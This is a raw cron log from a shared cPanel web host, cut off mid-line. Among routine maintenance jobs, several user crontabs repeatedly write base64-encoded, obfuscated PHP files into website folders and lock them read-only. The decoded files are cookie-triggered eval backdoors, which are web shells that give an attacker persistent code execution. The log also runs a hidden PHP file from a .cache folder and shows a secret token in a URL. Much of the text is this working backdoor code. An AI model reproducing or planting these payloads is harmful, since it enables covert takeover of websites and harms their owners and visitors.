Jun  7 09:05:01 medusa CROND[31333]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:05:01 medusa CROND[31334]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 09:05:01 medusa CROND[31335]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 09:05:01 medusa CROND[31337]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 09:05:01 medusa CROND[31340]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:05:01 medusa CROND[31339]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 09:05:01 medusa CROND[31338]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Jun  7 09:05:01 medusa CROND[31341]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 09:05:01 medusa CROND[31342]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 09:05:01 medusa CROND[31343]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:05:01 medusa CROND[31347]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 09:05:01 medusa CROND[31346]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 09:05:01 medusa CROND[31358]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 09:05:01 medusa CROND[31359]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 09:05:01 medusa CROND[31366]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:05:01 medusa CROND[31365]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 09:05:01 medusa CROND[31361]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 09:05:01 medusa CROND[31362]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 09:05:01 medusa CROND[31360]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 09:05:01 medusa CROND[31364]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Jun  7 09:05:01 medusa CROND[31368]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 09:05:01 medusa CROND[31372]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 09:05:01 medusa CROND[31369]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 09:05:01 medusa CROND[31367]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 09:06:01 medusa CROND[681]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 09:06:01 medusa CROND[689]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 09:06:01 medusa CROND[704]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 09:06:01 medusa CROND[706]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 09:06:01 medusa CROND[707]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 09:06:01 medusa CROND[708]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 09:06:01 medusa CROND[709]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:06:01 medusa CROND[712]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:06:01 medusa CROND[715]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 09:06:01 medusa CROND[718]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:06:01 medusa CROND[720]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 09:06:01 medusa CROND[721]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 09:06:01 medusa CROND[723]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 09:06:01 medusa CROND[726]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 09:06:01 medusa CROND[727]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:07:01 medusa CROND[2499]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogI